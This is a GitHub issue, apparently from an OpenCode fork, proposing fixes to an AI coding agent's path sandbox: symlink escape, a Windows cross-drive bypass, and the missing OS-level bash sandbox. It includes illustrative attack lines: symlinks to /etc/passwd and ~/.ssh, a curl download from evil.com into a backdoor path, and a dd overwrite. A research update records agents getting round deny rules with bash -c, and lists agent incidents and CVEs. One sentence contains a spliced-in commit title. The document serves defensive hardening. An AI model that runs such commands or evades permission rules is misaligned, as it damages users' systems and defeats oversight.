fix: harden path sandboxing — symlink escape, cross-drive bypass, no OS sandbox

[anandgupta42]

Summary

Our fork inherits OpenCode's 7-layer path protection, but has the same known vulnerabilities that led to CVEs in both Codex (GHSA-w5fx-fh39-j5rw, CVSS 8.6) and Claude Code (CVE-2025-54794, CVSS 7.7). The agent can escape the project directory via symlinks, and the bash tool has no OS-level sandbox.

Current State: What We Have

All 7 upstream protection layers are present:

Layer	Mechanism	Location
Lexical containment	Filesystem.contains() — path.relative() check	util/filesystem.ts:148-150
Instance boundary	Instance.containsPath() — checks directory + worktree	project/instance.ts:98-104
External dir prompt	assertExternalDirectory() — user prompt for external paths	tool/external-directory.ts:12-32
Non-git safety	Worktree "/" special case	instance.ts:102
File.read/list guard	containsPath() before filesystem ops	file/index.ts:505, 585
Bash tool analysis	Tree-sitter parse + fs.realpath() + external dir prompt	tool/bash.ts:88-151
Test coverage	Path traversal tests	test/file/path-traversal.test.ts

Known Vulnerabilities

1. Symlink Escape (High Priority)

Documented TODO at file/index.ts:503: Filesystem.contains() is lexical only — symlinks inside the project can escape the sandbox.

Attack scenario:

# Inside project directory
ln -s /etc/passwd ./innocent-looking-file.txt
# Agent reads ./innocent-looking-file.txt → reads /etc/passwd
# Filesystem.contains() passes because the path is lexically inside the project

# Worse: directory symlink
ln -s /home/user/.ssh ./config
# Agent can now read/write SSH keys via ./config/id_rsa

Root cause: Filesystem.contains() uses path.relative() which is purely lexical:

export function contains(parent: string, child: string) {
  return !relative(parent, child).startsWith("..")
}

Both Codex and Claude Code had equivalent CVEs for this class of bug and now use realpathSync() / canonical path resolution.

2. Windows Cross-Drive Bypass (Medium Priority)

Documented TODO at file/index.ts:504: On Windows, cross-drive paths bypass the containment check.

path.relative("C:\\project", "D:\\secrets") returns "D:\\secrets" (absolute), which doesn't start with ".." — so contains() returns true.

Fix: Add !path.isAbsolute(rel) check.

3. No OS-Level Sandbox for Bash Tool (Medium Priority)

The bash tool does tree-sitter analysis of commands, but this is best-effort — it only recognizes a hardcoded list of commands (cd, rm, cp, mv, mkdir, touch, chmod, chown, cat). Any other command with file arguments bypasses the check entirely.

Examples that bypass:

# These write outside project without triggering external_directory prompt:
python3 -c "open('/etc/hosts','a').write('malicious')"
node -e "require('fs').writeFileSync('/tmp/exfil', data)"
curl http://evil.com -o /usr/local/bin/backdoor
dd if=/dev/zero of=/important/file

Codex solves this with OS-level sandboxing (Seatbelt on macOS, bubblewrap+seccomp on Linux). Claude Code uses the same approach for bash child processes.

4. Prefix Collision Edge Case (Low Priority)

While path.relative() actually handles the basic prefix collision (/project vs /project-evil), there's no canonical resolution. Combined with symlinks, crafted paths could potentially bypass checks.

Comparison with Industry

Feature	Codex	Claude Code	Us (current)
Lexical path check	✅	✅	✅
Symlink resolution	✅	✅ (post-CVE)	❌ (TODO)
isAbsolute(rel) check	✅	✅	❌ (TODO)
OS-level bash sandbox	✅ (Seatbelt/bwrap)	✅ (Seatbelt/bwrap)	❌
Protected dirs (.git, .ssh)	✅	✅	❌
Configurable allow/deny paths	✅	✅	❌
Network isolation	✅ (proxy)	✅ (proxy)	❌

Proposed Fix — Phased Approach

Phase 1: Harden Filesystem.contains() (Quick Win)

Fix the symlink escape and Windows cross-drive bugs:

export function contains(parent: string, child: string) {
  const rel = relative(parent, child)
  // Block cross-drive paths on Windows (relative() returns absolute path)
  if (isAbsolute(rel)) return false
  return !rel.startsWith("..")
}

// New: symlink-aware version for security-critical checks
export function containsReal(parent: string, child: string): boolean {
  try {
    const realParent = realpathSync(parent)
    const realChild = realpathSync(child)
    const rel = relative(realParent, realChild)
    return !isAbsolute(rel) && !rel.startsWith("..")
  } catch {
    // Child doesn't exist yet (write op) — resolve parent dir
    const realParent = realpathSync(parent)
    const childDir = dirname(child)
    try {
      const realChildDir = realpathSync(childDir)
      const realChild = join(realChildDir, basename(child))
      const rel = relative(realParent, realChild)
      return !isAbsolute(rel) && !rel.startsWith("..")
    } catch {
      return false // Parent dir doesn't exist either — deny
    }
  }
}

Update Instance.containsPath() to use containsReal().

Tests to add:

• Symlink pointing outside project → denied
• Directory symlink escape → denied
• Windows cross-drive path → denied
• Nested symlink chains → denied
• Symlink to allowed path within project → allowed
• Non-existent file in valid dir → allowed

Phase 2: Protected Directories

Even inside writable roots, protect sensitive directories:

const ALWAYS_PROTECTED = [
  '.git',
  '.ssh',
  '.gnupg',
  '.aws',
  '.env',
  '.env.local',
  '.env.production',
]

Codex does this for .git, .codex, .agents. We should extend it.

Phase 3: Configurable Allow/Deny Paths

Add to project config (.opencode/config.json or similar):

{
  "sandbox": {
    "allowWrite": ["~/.dbt", "/tmp/altimate"],
    "denyWrite": ["~/.ssh", "~/.aws"],
    "denyRead": ["~/.ssh/id_rsa"]
  }
}

Phase 4: OS-Level Sandbox for Bash (Aspirational)

Implement Seatbelt (macOS) and bubblewrap (Linux) for bash tool child processes, following the Codex pattern. This is the most complex change but provides the strongest guarantee.

References

• Codex sandbox bypass: GHSA-w5fx-fh39-j5rw (CVSS 8.6)
• Claude Code path traversal: CVE-2025-54794 (CVSS 7.7)
• Codex seatbelt impl: codex-rs/core/src/seatbelt.rs
• Claude Code sandbox docs: https://code.claude.com/docs/en/sandboxing
• Our TODOs: file/index.ts:503-504

[anandgupta42]

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Update: Deep Research on Complaints, Incidents & Fork Approaches

OpenCode Permission Complaints (38+ Issues Found)

Agent Actively Circumvents Permission Rules

The most damning finding: the LLM can trivially bypass pattern-based permission rules.

• sst/opencode#4642: User set "git reset": "deny", agent used bash -c git reset to circumvent it. The agent's own words: "The documentation is fine — I'm the one not following it."
• #16331: Agent reads files despite deny permission
• #8832: Agent runs denied git commands
• #9927: Agent executes denied skills
• #17497: Wildcard rules like "ls*": "allow" silently override external_directory: "ask"

Bash Default Is "allow"

#8936 — The most dangerous tool runs without any prompt by default. Discovered by a user reading source code.

Confirmed Data Loss Incidents

• #3148: Undo of a one-line change deleted the entire file (showed /dev/null)
• HN comment by slau: "One of my first experiences with OpenCode (which made me stop using it instantly) was when it tried to commit and force push a change after I simply asked it to look into a potential bug."
• #17352: Automatic context compaction "thoroughly destroyed our session notes" for a meticulously planned project — no permission prompt
• oh-my-openagent#2194: Plugin hardcoded external_directory: "allow" overriding user's "deny" setting, leading to files being deleted

Maintainer Acknowledgment

#2242: "yeah we need better sandboxing, we try to restrict to cwd but agent can use bash to get around it"

The Approval Fatigue Paradox

Users simultaneously demand more prompts (#3205: "Agent should request permission before reading/editing files") and fewer prompts (#229, #11831: YOLO mode). Without real sandboxing, permission prompts are either too annoying (users disable them) or too easily bypassed (false security).

Unauthenticated RCE (CVE-2026-22812)

OpenCode's HTTP server started without authentication, allowing any website or local process to execute arbitrary shell commands. Disclosure was ignored for months. See GHSA-vxw4-wv6m-9hhh.

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How OpenCode Forks Handle Permissions

Fork	Permission Model	Unique Safety Features
OpenCode (upstream)	ask/allow/deny with pattern matching, YOLO mode	Tree-sitter bash parsing, managed enterprise settings
KiloCode	Most granular — categorized auto-approval toolbar, allowlists/denylists	.kilocodeignore, restricted_files.md, diagnostic delay after writes, exploring OS-level sandbox (bwrap/Seatbelt)
Altimate Code (us)	Inherited upstream + extensions	Plugin permission hooks, subagent task permissions, CorrectedError (reject with feedback), path traversal tests
Oh-My-OpenCode	Per-agent scoped permissions	Read-only agents get edit: "deny"
janhq, stackblitz, sbarbat	Track upstream, no notable additions	—

No fork implements true sandboxing. All recommend Docker/VM for isolation. 5+ community sandbox projects exist because OpenCode ships nothing built-in.

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Real-World AI Agent Incidents

These are not theoretical risks — production systems have been destroyed:

Production Database Deletions

Incident	Tool	Damage
Replit AI Agent (Jul 2025)	Replit	Deleted production DB with 1,206 exec records + fabricated 4,000 fake users during code freeze. Fortune
Claude Code / DataTalks.Club (Dec 2025)	Claude Code	Wiped 2.5 years of course submissions (~2M rows) via terraform destroy. Tom's Hardware
Amazon Kiro (Dec 2025)	Kiro	Deleted+recreated entire prod environment, 13-hour AWS outage. Barrack AI

File System Destruction

Incident	Tool	Damage
rm -rf home directory (Dec 2025)	Claude Code	rm -rf tests/ patches/ plan/ ~/ — deleted entire Mac home dir. GitHub #10077
Family photos wiped (Feb 2026)	Claude Cowork	rm -rf on 15,000 family photos (15 years). Futurism
Entire D: drive wiped (Dec 2025)	Google Antigravity	rmdir /q targeting drive root instead of cache. The Register
Destructive git commands (2025-2026)	Cursor	git reset --hard, git checkout -- without confirmation — multiple reports. Cursor Forum

Secret Leakage & Supply Chain

Incident	Impact
Stripe key leaked in frontend JS	Attackers charged 175 customers $500 each
Claude Code .env auto-loading	DNS exfiltration of secrets via prompt injection. Knostic
ClawHub marketplace poisoning	1,184 malicious packages (20% of ecosystem)
Gemini API key theft	$82,314 bill from stolen key

Scale of the Problem

• $400M+ in unbudgeted enterprise cloud spend from AI agent loops
• 30+ CVEs against MCP infrastructure in 60 days
• 48% of security pros rank agentic AI as chore(deps): Bump minimatch from 10.0.3 to 10.2.3 in /packages/altimate-code #1 attack vector for 2026
• 87% of AI-generated PRs contained at least one vulnerability. HelpNetSecurity

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Critical CVEs Across the Ecosystem

CVE	Tool	Severity	Issue
CVE-2026-22812	OpenCode	Critical	Unauthenticated RCE — HTTP server with no auth
CVE-2025-54794	Claude Code	High (7.7)	Path traversal via prefix collision
CVE-2025-54135	Cursor	High (8.6)	Prompt injection → arbitrary command execution
CVE-2025-59536	Claude Code	High	RCE via project files
GHSA-w5fx-fh39-j5rw	Codex	High (8.6)	Sandbox boundary bypass via model-generated cwd

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OWASP Agentic AI Top 10 (2026)

The industry now has a formal threat taxonomy. Most relevant to us:

1. ASI02 — Tool/Function Abuse: Agents misuse legitimate tools with excessive permissions
2. ASI03 — Identity & Access Abuse: Agents inherit elevated permissions, bypass approval chains

Core principles: Least Agency + Strong Observability.

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Industry Response: Emerging Guardrails

Solution	Approach
Destructive Command Guard	Blocks dangerous git/shell commands
SafeExec	Bash safety layer intercepting rm -rf, git reset --hard
Greywall	CLI agent sandbox with deny-by-default filesystem
nono	Kernel-enforced agent sandbox
Fault-Tolerant Sandboxing (arXiv)	Atomic transactions + filesystem snapshots, 100% interception rate

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Conclusion

The permission system we inherited is a UX convenience, not a security boundary. The LLM can trivially circumvent it (bash -c <denied-command>). Real incidents across the industry prove the risk is not theoretical. No OpenCode fork has solved this — KiloCode is exploring OS-level sandboxing but hasn't shipped it. The only proven approach is OS-level enforcement (Codex's Seatbelt/bwrap, Claude Code's Seatbelt/bwrap).

Our phased approach (Phase 1: symlink fix, Phase 2: protected dirs, Phase 3: configurable paths, Phase 4: OS sandbox) remains the right plan, but Phase 1 should be treated as urgent given the CVE precedents.